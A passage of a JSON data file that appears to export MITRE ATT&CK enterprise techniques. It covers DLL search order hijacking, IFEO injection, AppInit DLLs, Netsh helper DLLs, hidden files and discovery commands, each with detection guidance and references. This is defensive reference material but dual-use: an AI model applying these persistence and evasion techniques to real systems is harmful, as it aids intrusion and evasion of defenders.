          "Windows Error Reporting",
          "Process monitoring",
          "Application Logs"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1068"
        ]
      },
      "uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
      "value": "Exploitation for Privilege Escalation - T1068"
    },
    {
      "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1158",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process Monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1158",
          "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
          "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
          "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf"
        ]
      },
      "uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93",
      "value": "Hidden Files and Directories - T1158"
    },
    {
      "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.\n\nPlatforms: Linux, macOS, Windows\n\nDefense Bypassed: Anti-virus, Signature-based detection",
      "meta": {
        "external_id": "T1009",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1009"
        ]
      },
      "uuid": "519630c5-f03f-4882-825c-3af924935817",
      "value": "Binary Padding - T1009"
    },
    {
      "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)\n\nUse of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Binary file metadata, Authentication logs\n\nDefense Bypassed: Anti-virus, Network intrusion detection system\n\nPermissions Required: User, Administrator, SYSTEM",
      "meta": {
        "external_id": "T1108",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "Process use of network",
          "Packet capture",
          "Network protocol analysis",
          "File monitoring",
          "Binary file metadata",
          "Authentication logs"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1108",
          "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
        ]
      },
      "uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a",
      "value": "Redundant Access - T1108"
    },
    {
      "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
      "meta": {
        "external_id": "T1022",
        "kill_chain": [
          "mitre-attack:enterprise-attack:exfiltration"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Binary file metadata",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1022",
          "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf",
          "https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
        ]
      },
      "uuid": "d54416bd-0803-41ca-870a-ce1af7c05638",
      "value": "Data Encrypted - T1022"
    },
    {
      "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
      "meta": {
        "external_id": "T1150",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process Monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1150",
          "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
        ]
      },
      "uuid": "06780952-177c-4247-b978-79c357fb311f",
      "value": "Plist Modification - T1150"
    },
    {
      "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nPlatforms: Windows\n\nData Sources: File monitoring, DLL monitoring, Process command-line parameters, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Ability to add a DLL, manifest file, or .local file, directory, or junction.\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
      "meta": {
        "external_id": "T1038",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "DLL monitoring",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1038",
          "http://msdn.microsoft.com/en-US/library/ms682586",
          "https://www.owasp.org/index.php/Binary%20planting",
          "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx",
          "http://msdn.microsoft.com/en-US/library/ms682600",
          "https://msdn.microsoft.com/en-US/library/aa375365",
          "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
        ]
      },
      "uuid": "46944654-fcc1-4f63-9dad-628102376586",
      "value": "DLL Search Order Hijacking - T1038"
    },
    {
      "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g  notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options/<executable></code> and <code> HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable> </code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\n\nDetection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
      "meta": {
        "external_id": "T1183",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "Process Monitoring",
          "Windows Registry",
          "Windows event logs"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1183",
          "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/",
          "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview",
          "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
          "https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml",
          "https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
        ]
      },
      "uuid": "62166220-e498-410f-a90a-19d4339d4e99",
      "value": "Image File Execution Options Injection - T1183"
    },
    {
      "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access network shared drive",
      "meta": {
        "external_id": "T1039",
        "kill_chain": [
          "mitre-attack:enterprise-attack:collection"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1039"
        ]
      },
      "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c",
      "value": "Data from Network Shared Drive - T1039"
    },
    {
      "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Engame Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator\n\nSystem Requirements: Secure boot disabled on systems running Windows 8 and later",
      "meta": {
        "external_id": "T1103",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "Loaded DLLs",
          "Process monitoring",
          "Windows Registry"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1103",
          "https://support.microsoft.com/en-us/kb/197571",
          "https://msdn.microsoft.com/en-us/library/dn280412",
          "https://technet.microsoft.com/en-us/sysinternals/bb963902",
          "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
        ]
      },
      "uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41",
      "value": "AppInit DLLs - T1103"
    },
    {
      "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially Credentials in Files associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: API monitoring, File monitoring, Process command-line parameters, Process Monitoring\n\nPermissions Required: User\n\nContributors: Mike Kemmerer",
      "meta": {
        "external_id": "T1217",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "File monitoring",
          "Process command-line parameters",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1217"
        ]
      },
      "uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7",
      "value": "Browser Bookmark Discovery - T1217"
    },
    {
      "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1095",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1095",
          "http://support.microsoft.com/KB/170292",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
      "value": "Standard Non-Application Layer Protocol - T1095"
    },
    {
      "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)\n\nPlatforms: Windows\n\nData Sources: Process monitoring, DLL monitoring, Windows Registry\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: netsh\n\nContributors: Matthew Demaske, Adaptforward",
      "meta": {
        "external_id": "T1128",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "DLL monitoring",
          "Windows Registry"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1128",
          "https://technet.microsoft.com/library/bb490939.aspx",
          "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html",
          "https://github.com/outflankbv/NetshHelperBeacon"
        ]
      },
      "uuid": "bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2",
      "value": "Netsh Helper DLL - T1128"
    },
    {
      "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, API monitoring, Windows event logs, Packet capture\n\nPermissions Required: Administrator",
      "meta": {
        "external_id": "T1098",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "Authentication logs",
          "API monitoring",
          "Windows event logs",
          "Packet capture"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1098",
          "https://docs.microsoft.com/windows/device-security/auditing/event-4738",
          "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
          "https://github.com/gentilkiwi/mimikatz/issues/92"
        ]
      },
      "uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
      "value": "Account Manipulation - T1098"
    },
    {
      "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: macOS\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1164",
        "kill_chain": [
          "mitre-attack:enterprise-attack:persistence"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1164",
          "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
        ]
      },
      "uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300",
      "value": "Re-opened Applications - T1164"
    },
    {
      "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. \n\n===Windows===\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using Net.\n\n===Mac===\n\nSpecific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM",
      "meta": {
        "external_id": "T1018",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "Network protocol analysis",
          "Process command-line parameters",
          "Process monitoring",
          "Process use of network"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1018"
        ]
      },
      "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
      "value": "Remote System Discovery - T1018"
    },
    {
      "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1069",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1069"
        ]
      },
      "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce",
      "value": "Permission Groups Discovery - T1069"
    },
    {
      "description": "Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command-Line Interface, Run window, or via scripts.  (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd.\n\nDetection: Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands and/or spawning child processes. (Citation: RSA Forfiles Aug 2017)\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Windows event logs\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User\n\nContributors: Matthew Demaske, Adaptforward",
      "meta": {
        "external_id": "T1202",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
